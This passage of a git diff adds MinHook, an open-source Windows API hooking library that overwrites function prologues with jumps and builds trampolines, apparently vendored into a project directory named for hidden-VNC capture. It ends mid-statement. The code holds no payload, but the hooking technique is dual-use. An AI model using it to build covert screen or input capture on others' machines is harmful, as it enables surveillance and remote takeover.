POSSIBILITY OF SUCH DAMAGE. + */ + +#include +#include +#include + +#include "../include/MinHook.h" +#include "buffer.h" +#include "trampoline.h" + +#ifndef ARRAYSIZE + #define ARRAYSIZE(A) (sizeof(A)/sizeof((A)[0])) +#endif + +// Initial capacity of the HOOK_ENTRY buffer. +#define INITIAL_HOOK_CAPACITY 32 + +// Initial capacity of the thread IDs buffer. +#define INITIAL_THREAD_CAPACITY 128 + +// Special hook position values. +#define INVALID_HOOK_POS UINT_MAX +#define ALL_HOOKS_POS UINT_MAX + +// Freeze() action argument defines. +#define ACTION_DISABLE 0 +#define ACTION_ENABLE 1 +#define ACTION_APPLY_QUEUED 2 + +// Thread access rights for suspending/resuming threads. +#define THREAD_ACCESS \ + (THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_QUERY_INFORMATION | THREAD_SET_CONTEXT) + +// Hook information. +typedef struct _HOOK_ENTRY +{ + LPVOID pTarget; // Address of the target function. + LPVOID pDetour; // Address of the detour or relay function. + LPVOID pTrampoline; // Address of the trampoline function. + UINT8 backup[8]; // Original prologue of the target function. + + UINT8 patchAbove : 1; // Uses the hot patch area. + UINT8 isEnabled : 1; // Enabled. + UINT8 queueEnable : 1; // Queued for enabling/disabling when != isEnabled. + + UINT nIP : 4; // Count of the instruction boundaries. + UINT8 oldIPs[8]; // Instruction boundaries of the target function. + UINT8 newIPs[8]; // Instruction boundaries of the trampoline function. +} HOOK_ENTRY, *PHOOK_ENTRY; + +// Suspended threads for Freeze()/Unfreeze(). +typedef struct _FROZEN_THREADS +{ + LPDWORD pItems; // Data heap + UINT capacity; // Size of allocated data heap, items + UINT size; // Actual number of data items +} FROZEN_THREADS, *PFROZEN_THREADS; + +//------------------------------------------------------------------------- +// Global Variables: +//------------------------------------------------------------------------- + +// Spin lock flag for EnterSpinLock()/LeaveSpinLock(). +static volatile LONG g_isLocked = FALSE; + +// Private heap handle. If not NULL, this library is initialized. +static HANDLE g_hHeap = NULL; + +// Hook entries. +static struct +{ + PHOOK_ENTRY pItems; // Data heap + UINT capacity; // Size of allocated data heap, items + UINT size; // Actual number of data items +} g_hooks; + +//------------------------------------------------------------------------- +// Returns INVALID_HOOK_POS if not found. +static UINT FindHookEntry(LPVOID pTarget) +{ + UINT i; + for (i = 0; i < g_hooks.size; ++i) + { + if ((ULONG_PTR)pTarget == (ULONG_PTR)g_hooks.pItems[i].pTarget) + return i; + } + + return INVALID_HOOK_POS; +} + +//------------------------------------------------------------------------- +static PHOOK_ENTRY AddHookEntry() +{ + if (g_hooks.pItems == NULL) + { + g_hooks.capacity = INITIAL_HOOK_CAPACITY; + g_hooks.pItems = (PHOOK_ENTRY)HeapAlloc( + g_hHeap, 0, g_hooks.capacity * sizeof(HOOK_ENTRY)); + if (g_hooks.pItems == NULL) + return NULL; + } + else if (g_hooks.size >= g_hooks.capacity) + { + PHOOK_ENTRY p = (PHOOK_ENTRY)HeapReAlloc( + g_hHeap, 0, g_hooks.pItems, (g_hooks.capacity * 2) * sizeof(HOOK_ENTRY)); + if (p == NULL) + return NULL; + + g_hooks.capacity *= 2; + g_hooks.pItems = p; + } + + return &g_hooks.pItems[g_hooks.size++]; +} + +//------------------------------------------------------------------------- +static VOID DeleteHookEntry(UINT pos) +{ + if (pos < g_hooks.size - 1) + g_hooks.pItems[pos] = g_hooks.pItems[g_hooks.size - 1]; + + g_hooks.size--; + + if (g_hooks.capacity / 2 >= INITIAL_HOOK_CAPACITY && g_hooks.capacity / 2 >= g_hooks.size) + { + PHOOK_ENTRY p = (PHOOK_ENTRY)HeapReAlloc( + g_hHeap, 0, g_hooks.pItems, (g_hooks.capacity / 2) * sizeof(HOOK_ENTRY)); + if (p == NULL) + return; + + g_hooks.capacity /= 2; + g_hooks.pItems = p; + } +} + +//------------------------------------------------------------------------- +static DWORD_PTR FindOldIP(PHOOK_ENTRY pHook, DWORD_PTR ip) +{ + UINT i; + + if (pHook->patchAbove && ip == ((DWORD_PTR)pHook->pTarget - sizeof(JMP_REL))) + return (DWORD_PTR)pHook->pTarget; + + for (i = 0; i < pHook->nIP; ++i) + { + if (ip == ((DWORD_PTR)pHook->pTrampoline + pHook->newIPs[i])) + return (DWORD_PTR)pHook->pTarget + pHook->oldIPs[i]; + } + +#if defined(_M_X64) || defined(__x86_64__) + // Check relay function. + if (ip == (DWORD_PTR)pHook->pDetour) + return (DWORD_PTR)pHook->pTarget; +#endif + + return 0; +} + +//------------------------------------------------------------------------- +static DWORD_PTR FindNewIP(PHOOK_ENTRY pHook, DWORD_PTR ip) +{ + UINT i; + for (i = 0; i < pHook->nIP; ++i) + { + if (ip == ((DWORD_PTR)pHook->pTarget + pHook->oldIPs[i])) + return (DWORD_PTR)pHook->pTrampoline + pHook->newIPs[i]; + } + + return 0; +} + +//------------------------------------------------------------------------- +static VOID ProcessThreadIPs(HANDLE hThread, UINT pos, UINT action) +{ + // If the thread suspended in the overwritten area, + // move IP to the proper address. + + CONTEXT c; +#if defined(_M_X64) || defined(__x86_64__) + DWORD64 *pIP = &c.Rip; +#else + DWORD *pIP = &c.Eip; +#endif + UINT count; + + c.ContextFlags = CONTEXT_CONTROL; + if (!GetThreadContext(hThread, &c)) + return; + + if (pos == ALL_HOOKS_POS) + { + pos = 0; + count = g_hooks.size; + } + else + { + count = pos + 1; + } + + for (; pos < count; ++pos) + { + PHOOK_ENTRY pHook = &g_hooks.pItems[pos]; + BOOL enable; + DWORD_PTR ip; + + switch (action) + { + case ACTION_DISABLE: + enable = FALSE; + break; + + case ACTION_ENABLE: + enable = TRUE; + break; + + default: // ACTION_APPLY_QUEUED + enable = pHook->queueEnable; + break; + } + if (pHook->isEnabled == enable) + continue; + + if (enable) + ip = FindNewIP(pHook, *pIP); + else + ip = FindOldIP(pHook, *pIP); + + if (ip != 0) + { + *pIP = ip; + SetThreadContext(hThread, &c); + } + } +} + +//------------------------------------------------------------------------- +static BOOL EnumerateThreads(PFROZEN_THREADS pThreads) +{ + BOOL succeeded = FALSE; + + HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); + if (hSnapshot != INVALID_HANDLE_VALUE) + { + THREADENTRY32 te; + te.dwSize = sizeof(THREADENTRY32); + if (Thread32First(hSnapshot, &te)) + { + succeeded = TRUE; + do + { + if (te.dwSize >= (FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(DWORD)) + && te.th32OwnerProcessID == GetCurrentProcessId() + && te.th32ThreadID != GetCurrentThreadId()) + { + if (pThreads->pItems == NULL) + { + pThreads->capacity = INITIAL_THREAD_CAPACITY; + pThreads->pItems + = (LPDWORD)HeapAlloc(g_hHeap, 0, pThreads->capacity * sizeof(DWORD)); + if (pThreads->pItems == NULL) + { + succeeded = FALSE; + break; + } + } + else if (pThreads->size >= pThreads->capacity) + { + LPDWORD p; + pThreads->capacity *= 2; + p = (LPDWORD)HeapReAlloc( + g_hHeap, 0, pThreads->pItems, pThreads->capacity * sizeof(DWORD)); + if (p == NULL) + { + succeeded = FALSE; + break; + } + + pThreads->pItems = p; + } + pThreads->pItems[pThreads->size++] = te.th32ThreadID; + } + + te.dwSize = sizeof(THREADENTRY32); + } while (Thread32Next(hSnapshot, &te)); + + if (succeeded && GetLastError() != ERROR_NO_MORE_FILES) + succeeded = FALSE; + + if (!succeeded && pThreads->pItems != NULL) + { + HeapFree(g_hHeap, 0, pThreads->pItems); + pThreads->pItems = NULL; + } + } + CloseHandle(hSnapshot); + } + + return succeeded; +} + +//------------------------------------------------------------------------- +static MH_STATUS Freeze(PFROZEN_THREADS pThreads, UINT pos, UINT action) +{ + MH_STATUS status = MH_OK; + + pThreads->pItems = NULL; + pThreads->capacity = 0; + pThreads->size = 0; + if (!EnumerateThreads(pThreads)) + { + status = MH_ERROR_MEMORY_ALLOC; + } + else if (pThreads->pItems != NULL) + { + UINT i; + for (i = 0; i < pThreads->size; ++i) + { + HANDLE hThread = OpenThread(THREAD_ACCESS, FALSE, pThreads->pItems[i]); + BOOL suspended = FALSE; + if (hThread != NULL) + { + DWORD result = SuspendThread(hThread); + if (result != 0xFFFFFFFF) + { + suspended = TRUE; + ProcessThreadIPs(hThread, pos, action); + } + CloseHandle(hThread); + } + + if (!suspended) + { + // Mark thread as not suspended, so it's not resumed later on. + pThreads->pItems[i] = 0; + } + } + } + + return status; +} + +//------------------------------------------------------------------------- +static VOID Unfreeze(PFROZEN_THREADS pThreads) +{ + if (pThreads->pItems != NULL) + { + UINT i; + for (i = 0; i < pThreads->size; ++i) + { + DWORD threadId = pThreads->pItems[i]; + if (threadId != 0) + { + HANDLE hThread = OpenThread(THREAD_ACCESS, FALSE, threadId); + if (hThread != NULL) + { + ResumeThread(hThread); + CloseHandle(hThread); + } + } + } + + HeapFree(g_hHeap, 0, pThreads->pItems); + } +} + +//------------------------------------------------------------------------- +static MH_STATUS EnableHookLL(UINT pos, BOOL enable) +{ + PHOOK_ENTRY pHook = &g_hooks.pItems[pos]; + DWORD oldProtect; + SIZE_T patchSize = sizeof(JMP_REL); + LPBYTE pPatchTarget = (LPBYTE)pHook->pTarget; + + if (pHook->patchAbove) + { + pPatchTarget -= sizeof(JMP_REL); + patchSize += sizeof(JMP_REL_SHORT); + } + + if (!VirtualProtect(pPatchTarget, patchSize, PAGE_EXECUTE_READWRITE, &oldProtect)) + return MH_ERROR_MEMORY_PROTECT; + + if (enable) + { + PJMP_REL pJmp = (PJMP_REL)pPatchTarget; + pJmp->opcode = 0xE9; + pJmp->operand = (INT32)((LPBYTE)pHook->pDetour - (pPatchTarget + sizeof(JMP_REL))); + + if (pHook->patchAbove) + { + PJMP_REL_SHORT pShortJmp = (PJMP_REL_SHORT)pHook->pTarget; + pShortJmp->opcode = 0xEB; + pShortJmp->operand = (INT8)(0 - (sizeof(JMP_REL_SHORT) + sizeof(JMP_REL))); + } + } + else + { + if (pHook->patchAbove) + memcpy(pPatchTarget, pHook->backup, sizeof(JMP_REL) + sizeof(JMP_REL_SHORT)); + else + memcpy(pPatchTarget, pHook->backup, sizeof(JMP_REL)); + } + + VirtualProtect(pPatchTarget, patchSize, oldProtect, &oldProtect); + + // Just-in-case measure. + FlushInstructionCache(GetCurrentProcess(), pPatchTarget, patchSize); + + pHook->isEnabled = enable; + pHook->queueEnable = enable; + + return MH_OK; +} + +//------------------------------------------------------------------------- +static MH_STATUS EnableAllHooksLL(BOOL enable) +{ + MH_STATUS status = MH_OK; + UINT i, first = INVALID_HOOK_POS; + + for (i = 0; i < g_hooks.size; ++i) + { + if (g_hooks.pItems[i].isEnabled != enable) + { + first = i; + break; + } + } + + if (first != INVALID_HOOK_POS) + { + FROZEN_THREADS threads; + status = Freeze(&threads, ALL_HOOKS_POS, enable ? ACTION_ENABLE : ACTION_DISABLE); + if (status == MH_OK) + { + for (i = first; i < g_hooks.size; ++i) + { + if (g_hooks.pItems[i].isEnabled != enable) + { + status = EnableHookLL(i, enable); + if (status != MH_OK) + break; + } + } + + Unfreeze(&threads); + } + } + + return status; +} + +//------------------------------------------------------------------------- +static VOID EnterSpinLock(VOID) +{ + SIZE_T spinCount = 0; + + // Wait until the flag is FALSE. + while (InterlockedCompareExchange(&g_isLocked, TRUE, FALSE) != FALSE) + { + // No need to generate a memory barrier here, since InterlockedCompareExchange() + // generates a full memory barrier itself. + + // Prevent the loop from being too busy. + if (spinCount < 32) + Sleep(0); + else + Sleep(1); + + spinCount++; + } +} + +//------------------------------------------------------------------------- +static VOID LeaveSpinLock(VOID) +{ + // No need to generate a memory barrier here, since InterlockedExchange() + // generates a full memory barrier itself. + + InterlockedExchange(&g_isLocked, FALSE); +} + +//------------------------------------------------------------------------- +MH_STATUS WINAPI MH_Initialize(VOID) +{ + MH_STATUS status = MH_OK; + + EnterSpinLock(); + + if (g_hHeap == NULL) + { + g_hHeap = HeapCreate(0, 0, 0); + if (g_hHeap != NULL) + { + // Initialize the internal function buffer. + InitializeBuffer(); + } + else + { + status = MH_ERROR_MEMORY_ALLOC; + } + } + else + { + status = MH_ERROR_ALREADY_INITIALIZED; + } + + LeaveSpinLock(); + + return status; +} + +//------------------------------------------------------------------------- +MH_STATUS WINAPI MH_Uninitialize(VOID) +{ + MH_STATUS status = MH_OK; + + EnterSpinLock(); + + if (g_hHeap != NULL) + { + status = EnableAllHooksLL(FALSE); + if (status == MH_OK) + { + // Free the internal function buffer. + + // HeapFree is actually not required, but some tools detect a false + // memory leak without HeapFree. + + UninitializeBuffer(); + + HeapFree(g_hHeap, 0, g_hooks.pItems); + HeapDestroy(g_hHeap); + + g_hHeap = NULL; + + g_hooks.pItems = NULL; + g_hooks.capacity = 0; + g_hooks.size = 0; + } + } + else + { + status = MH_ERROR_NOT_INITIALIZED; + } + + LeaveSpinLock(); + + return status; +} + +//------------------------------------------------------------------------- +MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID *ppOriginal) +{ + MH_STATUS status = MH_OK; + + EnterSpinLock(); + + if (g_hHeap != NULL) + { + if (IsExecutableAddress(pTarget) && IsExecutableAddress(pDetour)) + { + UINT pos = FindHookEntry(pTarget); + if (pos == INVALID_HOOK_POS) + { + LPVOID pBuffer = AllocateBuffer(pTarget); + if (pBuffer != NULL) + { + TRAMPOLINE ct; + + ct.pTarget = pTarget; + ct.pDetour = pDetour; + ct.pTrampoline = pBuffer; + if (CreateTrampolineFunction(&ct)) + { + PHOOK_ENTRY pHook = AddHookEntry(); + if (pHook != NULL) + { + pHook->pTarget = ct.pTarget; +#if defined(_M_X64) || defined(__x86_64__) + pHook->pDetour = ct.pRelay; +#else + pHook->pDetour = ct.pDetour; +#endif + pHook->pTrampoline = ct.pTrampoline; + pHook->patchAbove = ct.patchAbove; + pHook->isEnabled = FALSE; + pHook->queueEnable = FALSE; + pHook->nIP = ct.nIP; + memcpy(pHook->oldIPs, ct.oldIPs, ARRAYSIZE(ct.oldIPs)); + memcpy(pHook->newIPs, ct.newIPs, ARRAYSIZE(ct.newIPs)); + + // Back up the target function. + + if (ct.patchAbove) + { + memcpy( + pHook->backup, + (LPBYTE)pTarget - sizeof(JMP_REL), + sizeof(JMP_REL) + sizeof(JMP_REL_SHORT)); + } + else + { + memcpy(pHook->backup, pTarget, sizeof(JMP_REL)); + } + + if (ppOriginal != NULL) + *ppOriginal = pHook->pTrampoline; + } + else + { + status = MH_ERROR_MEMORY_ALLOC; + } + } + else + { + status = MH_ERROR_UNSUPPORTED_FUNCTION; + } + + if (status != MH_OK) + { + FreeBuffer(pBuffer); + } + } + else + { + status = MH_ERROR_MEMORY_ALLOC; + } + } + else + { + status = MH_ERROR_ALREADY_CREATED; + } + } + else + { + status = MH_ERROR_NOT_EXECUTABLE; + } + } + else + { + status = MH_ERROR_NOT_INITIALIZED; + } + + LeaveSpinLock(); + + return status; +} + +//------------------------------------------------------------------------- +MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget) +{ + MH_STATUS status = MH_OK; + + EnterSpinLock(); + + if (g_hHeap != NULL) + { + UINT pos = FindHookEntry(pTarget); + if (pos != INVALID_HOOK_POS) + { + if (g_hooks.pItems[pos].isEnabled) + { + FROZEN_THREADS threads; + status = Freeze(&threads, pos, ACTION_DISABLE); + if (status == MH_OK) + { + status = EnableHookLL(pos, FALSE); + + Unfreeze(&threads); + } + } + + if (status == MH_OK) + { + FreeBuffer(g_hooks.pItems[pos].pTrampoline); + DeleteHookEntry(pos); + } + } + else + { + status = MH_ERROR_NOT_CREATED; + } + } + else + { + status = MH_ERROR_NOT_INITIALIZED; + } + + LeaveSpinLock(); + + return status; +} + +//------------------------------------------------------------------------- +static MH_STATUS EnableHook(LPVOID pTarget, BOOL enable) +{ + MH_STATUS status = MH_OK; + + EnterSpinLock(); + + if (g_hHeap != NULL) + { + if (pTarget == MH_ALL_HOOKS) + { + status = EnableAllHooksLL(enable); + } + else + { + UINT pos = FindHookEntry(pTarget); + if (pos != INVALID_HOOK_POS) + { + if (g_hooks.pItems[pos].isEnabled != enable) + { + FROZEN_THREADS threads; + status = Freeze(&threads, pos, ACTION_ENABLE); + if (status == MH_OK) + { + status = EnableHookLL(pos, enable); + + Unfreeze(&threads); + } + } + else + { + status = enable ? MH_ERROR_ENABLED : MH_ERROR_DISABLED; + } + } + else + { + status = MH_ERROR_NOT_CREATED; + } + } + } + else + { + status = MH_ERROR_NOT_INITIALIZED; + } + + LeaveSpinLock(); + + return status; +} + +//------------------------------------------------------------------------- +MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget) +{ + return EnableHook(pTarget, TRUE); +} + +//------------------------------------------------------------------------- +MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget) +{ + return EnableHook(pTarget, FALSE); +} + +//------------------------------------------------------------------------- +static MH_STATUS QueueHook(LPVOID pTarget, BOOL queueEnable) +{ + MH_STATUS status = MH_OK; + + EnterSpinLock(); + + if (g_hHeap != NULL) + { + if (pTarget == MH_ALL_HOOKS) + { + UINT i; + for (i = 0; i < g_hooks.size; ++i) + g_hooks.pItems[i].queueEnable = queueEnable; + } + else + { + UINT pos = FindHookEntry(pTarget); + if (pos != INVALID_HOOK_POS) + { + g_hooks.pItems[pos].queueEnable = queueEnable; + } + else + { + status = MH_ERROR_NOT_CREATED; + } + } + } + else + { + status = MH_ERROR_NOT_INITIALIZED; + } + + LeaveSpinLock(); + + return status; +} + +//------------------------------------------------------------------------- +MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget) +{ + return QueueHook(pTarget, TRUE); +} + +//------------------------------------------------------------------------- +MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget) +{ + return QueueHook(pTarget, FALSE); +} + +//------------------------------------------------------------------------- +MH_STATUS WINAPI MH_ApplyQueued(VOID) +{ + MH_STATUS status = MH_OK; + UINT i, first = INVALID_HOOK_POS; + + EnterSpinLock(); + + if (g_hHeap != NULL) + { + for (i = 0; i < g_hooks.size; ++i) + { + if (g_hooks.pItems[i].isEnabled != g_hooks.pItems[i].queueEnable) + { + first = i; + break; + } + } + + if (first != INVALID_HOOK_POS) + { + FROZEN_THREADS threads; + status = Freeze(&threads, ALL_HOOKS_POS, ACTION_APPLY_QUEUED); + if (status == MH_OK) + { + for (i = first; i < g_hooks.size; ++i) + { + PHOOK_ENTRY pHook = &g_hooks.pItems[i]; + if (pHook->isEnabled != pHook->queueEnable) + { + status = EnableHookLL(i, pHook->queueEnable); + if (status != MH_OK) + break; + } + } + + Unfreeze(&threads); + } + } + } + else + { + status = MH_ERROR_NOT_INITIALIZED; + } + + LeaveSpinLock(); + + return status; +} + +//------------------------------------------------------------------------- +MH_STATUS WINAPI MH_CreateHookApiEx( + LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, + LPVOID *ppOriginal, LPVOID *ppTarget) +{ + HMODULE hModule; + LPVOID pTarget; + + hModule = GetModuleHandleW(pszModule); + if (hModule == NULL) + return MH_ERROR_MODULE_NOT_FOUND; + + pTarget = (LPVOID)GetProcAddress(hModule, pszProcName); + if (pTarget == NULL) + return MH_ERROR_FUNCTION_NOT_FOUND; + + if (ppTarget != NULL) + *ppTarget = pTarget; + + return MH_CreateHook(pTarget, pDetour, ppOriginal); +} + +//------------------------------------------------------------------------- +MH_STATUS WINAPI MH_CreateHookApi( + LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal) +{ + return MH_CreateHookApiEx(pszModule, pszProcName, pDetour, ppOriginal, NULL); +} + +//------------------------------------------------------------------------- +const char *WINAPI MH_StatusToString(MH_STATUS status) +{ +#define MH_ST2STR(x) \ + case x: \ + return #x; + + switch (status) { + MH_ST2STR(MH_UNKNOWN) + MH_ST2STR(MH_OK) + MH_ST2STR(MH_ERROR_ALREADY_INITIALIZED) + MH_ST2STR(MH_ERROR_NOT_INITIALIZED) + MH_ST2STR(MH_ERROR_ALREADY_CREATED) + MH_ST2STR(MH_ERROR_NOT_CREATED) + MH_ST2STR(MH_ERROR_ENABLED) + MH_ST2STR(MH_ERROR_DISABLED) + MH_ST2STR(MH_ERROR_NOT_EXECUTABLE) + MH_ST2STR(MH_ERROR_UNSUPPORTED_FUNCTION) + MH_ST2STR(MH_ERROR_MEMORY_ALLOC) + MH_ST2STR(MH_ERROR_MEMORY_PROTECT) + MH_ST2STR(MH_ERROR_MODULE_NOT_FOUND) + MH_ST2STR(MH_ERROR_FUNCTION_NOT_FOUND) + } + +#undef MH_ST2STR + + return "(unknown)"; +} diff --git a/HVNCCapture/Minhook/src/trampoline.c b/HVNCCapture/Minhook/src/trampoline.c new file mode 100644 index 0000000..cf8ce05 --- /dev/null +++ b/HVNCCapture/Minhook/src/trampoline.c @@ -0,0 +1,320 @@ +/* + * MinHook - The Minimalistic API Hooking Library for x64/x86 + * Copyright (C) 2009-2017 Tsuda Kageyu. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A + * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER + * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include + +#if defined(_MSC_VER) && !defined(MINHOOK_DISABLE_INTRINSICS) + #define ALLOW_INTRINSICS + #include +#endif + +#ifndef ARRAYSIZE + #define ARRAYSIZE(A) (sizeof(A)/sizeof((A)[0])) +#endif + +#if defined(_M_X64) || defined(__x86_64__) + #include "./hde/hde64.h" + typedef hde64s HDE; + #define HDE_DISASM(code, hs) hde64_disasm(code, hs) +#else + #include "./hde/hde32.h" + typedef hde32s HDE; + #define HDE_DISASM(code, hs) hde32_disasm(code, hs) +#endif + +#include "trampoline.h" +#include "buffer.h" + +// Maximum size of a trampoline function. +#if defined(_M_X64) || defined(__x86_64__) + #define TRAMPOLINE_MAX_SIZE (MEMORY_SLOT_SIZE - sizeof(JMP_ABS)) +#else + #define TRAMPOLINE_MAX_SIZE MEMORY_SLOT_SIZE +#endif + +//------------------------------------------------------------------------- +static BOOL IsCodePadding(LPBYTE pInst, UINT size) +{ + UINT i; + + if (pInst[0] != 0x00 && pInst[0] != 0x90 && pInst[0] != 0xCC) + return FALSE; + + for (i = 1; i < size; ++i) + { + if (pInst[i] != pInst[0]) + return FALSE; + } + return TRUE; +} + +//------------------------------------------------------------------------- +BOOL CreateTrampolineFunction(PTRAMPOLINE ct) +{ +#if defined(_M_X64) || defined(__x86_64__) + CALL_ABS call = { + 0xFF, 0x15, 0x00000002, // FF15 00000002: CALL [RIP+8] + 0xEB, 0x08, // EB 08: JMP +10 + 0x0000000000000000ULL // Absolute destination address + }; + JMP_ABS jmp = { + 0xFF, 0x25, 0x00000000, // FF25 00000000: JMP [RIP+6] + 0x0000000000000000ULL // Absolute destination address + }; + JCC_ABS jcc = { + 0x70, 0x0E, // 7* 0E: J** +16 + 0xFF, 0x25, 0x00000000, // FF25 00000000: JMP [RIP+6] + 0x0000000000000000ULL // Absolute destination address + }; +#else + CALL_REL call = { + 0xE8, // E8 xxxxxxxx: CALL +5+xxxxxxxx + 0x00000000 // Relative destination address + }; + JMP_REL jmp = { + 0xE9, // E9 xxxxxxxx: JMP +5+xxxxxxxx + 0x00000000 // Relative destination address + }; + JCC_REL jcc = { + 0x0F, 0x80, // 0F8* xxxxxxxx: J** +6+xxxxxxxx + 0x00000000 // Relative destination address + }; +#endif + + UINT8 oldPos = 0; + UINT8 newPos = 0; + ULONG_PTR jmpDest = 0; // Destination address of an internal jump. + BOOL finished = FALSE; // Is the function completed? +#if defined(_M_X64) || defined(__x86_64__) + UINT8 instBuf[16]; +#endif + + ct->patchAbove = FALSE; + ct->nIP = 0; + + do + { + HDE hs; + UINT copySize; + LPVOID pCopySrc; + ULONG_PTR pOldInst = (ULONG_PTR)ct->pTarget + oldPos; + ULONG_PTR pNewInst = (ULONG_PTR)ct->pTrampoline + newPos; + + copySize = HDE_DISASM((LPVOID)pOldInst, &hs); + if (hs.flags & F_ERROR) + return FALSE; + + pCopySrc = (LPVOID)pOldInst; + if (oldPos >= sizeof(JMP_REL)) + { + // The trampoline function is long enough. + // Complete the function with the jump to the target function. +#if defined(_M_X64) || defined(__x86_64__) + jmp.address = pOldInst; +#else + jmp.operand = (INT32)(pOldInst - (pNewInst + sizeof(jmp))); +#endif + pCopySrc = &jmp; + copySize = sizeof(jmp); + + finished = TRUE; + } +#if defined(_M_X64) || defined(__x86_64__) + else if ((hs.modrm & 0xC7) == 0x05) + { + // Instructions using RIP relative addressing. (ModR/M = 00???101B) + + // Modify the RIP relative address. + PUINT32 pRelAddr; + + // Avoid using memcpy to reduce the footprint. +#ifndef ALLOW_INTRINSICS + memcpy(instBuf, (LPBYTE)pOldInst, copySize); +#else + __movsb(instBuf, (LPBYTE)pOldInst, copySize); +#endif + pCopySrc = instBuf; + + // Relative address is stored at (instruction length - immediate value length - 4). + pRelAddr = (PUINT32)(instBuf + hs.len - ((hs.flags & 0x3C) >> 2) - 4); + *pRelAddr + = (UINT32)((pOldInst + hs.len + (INT32)hs.disp.disp32) - (pNewInst + hs.len)); + + // Complete the function if JMP (FF /4). + if (hs.opcode == 0xFF && hs.modrm_reg == 4) + finished = TRUE; + } +#endif + else if (hs.opcode == 0xE8) + { + // Direct relative CALL + ULONG_PTR dest = pOldInst + hs.len + (INT32)hs.imm.imm32; +#if defined(_M_X64) || defined(__x86_64__) + call.address = dest; +#else + call.operand = (INT32)(dest - (pNewInst + sizeof(call))); +#endif + pCopySrc = &call; + copySize = sizeof(call); + } + else if ((hs.opcode & 0xFD) == 0xE9) + { + // Direct relative JMP (EB or E9) + ULONG_PTR dest = pOldInst + hs.len; + + if (hs.opcode == 0xEB) // isShort jmp + dest += (INT8)hs.imm.imm8; + else + dest += (INT32)hs.imm.imm32; + + // Simply copy an internal jump. + if ((ULONG_PTR)ct->pTarget <= dest + && dest < ((ULONG_PTR)ct->pTarget + sizeof(JMP_REL))) + { + if (jmpDest < dest) + jmpDest = dest; + } + else + { +#if defined(_M_X64) || defined(__x86_64__) + jmp.address = dest; +#else + jmp.operand = (INT32)(dest - (pNewInst + sizeof(jmp))); +#endif + pCopySrc = &jmp; + copySize = sizeof(jmp); + + // Exit the function if it is not in the branch. + finished = (pOldInst >= jmpDest); + } + } + else if ((hs.opcode & 0xF0) == 0x70 + || (hs.opcode & 0xFC) == 0xE0 + || (hs.opcode2 & 0xF0) == 0x80) + { + // Direct relative Jcc + ULONG_PTR dest = pOldInst + hs.len; + + if ((hs.opcode & 0xF0) == 0x70 // Jcc + || (hs.opcode & 0xFC) == 0xE0) // LOOPNZ/LOOPZ/LOOP/JECXZ + dest += (INT8)hs.imm.imm8; + else + dest += (INT32)hs.imm.imm32; + + // Simply copy an internal jump. + if ((ULONG_PTR)ct->pTarget <= dest + && dest < ((ULONG_PTR)ct->pTarget + sizeof(JMP_REL))) + { + if (jmpDest < dest) + jmpDest = dest; + } + else if ((hs.opcode & 0xFC) == 0xE0) + { + // LOOPNZ/LOOPZ/LOOP/JCXZ/JECXZ to the outside are not supported. + return FALSE; + } + else + { + UINT8 cond = ((hs.opcode != 0x0F ? hs.opcode : hs.opcode2) & 0x0F); +#if defined(_M_X64) || defined(__x86_64__) + // Invert the condition in x64 mode to simplify the conditional jump logic. + jcc.opcode = 0x71 ^ cond; + jcc.address = dest; +#else + jcc.opcode1 = 0x80 | cond; + jcc.operand = (INT32)(dest - (pNewInst + sizeof(jcc))); +#endif + pCopySrc = &jcc; + copySize = sizeof(jcc); + } + } + else if ((hs.opcode & 0xFE) == 0xC2) + { + // RET (C2 or C3) + + // Complete the function if not in a branch. + finished = (pOldInst >= jmpDest); + } + + // Can't alter the instruction length in a branch. + if (pOldInst < jmpDest && copySize != hs.len) + return FALSE; + + // Trampoline function is too large. + if ((newPos + copySize) > TRAMPOLINE_MAX_SIZE) + return FALSE; + + // Trampoline function has too many instructions. + if (ct->nIP >= ARRAYSIZE(ct->oldIPs)) + return FALSE; + + ct->oldIPs[ct->nIP] = oldPos; + ct->newIPs[ct->nIP] = newPos; + ct->nIP++; + + // Avoid using memcpy to reduce the footprint. +#ifndef ALLOW_INTRINSICS + memcpy((LPBYTE)ct->pTrampoline + newPos, pCopySrc, copySize); +#else + __movsb((LPBYTE)ct->pTrampoline + newPos, (LPBYTE)pCopySrc, copySize); +#endif + newPos += copySize; + oldPos += hs.len; + } while (!finished); + + // Is there enough place for a long jump? + if (oldPos < sizeof(JMP_REL) + && !IsCodePadding((LPBYTE)ct->pTarget + oldPos, sizeof(JMP_REL) - oldPos)) + { + // Is there enough place for a short jump? + if (oldPos < sizeof(JMP_REL_SHORT) + && 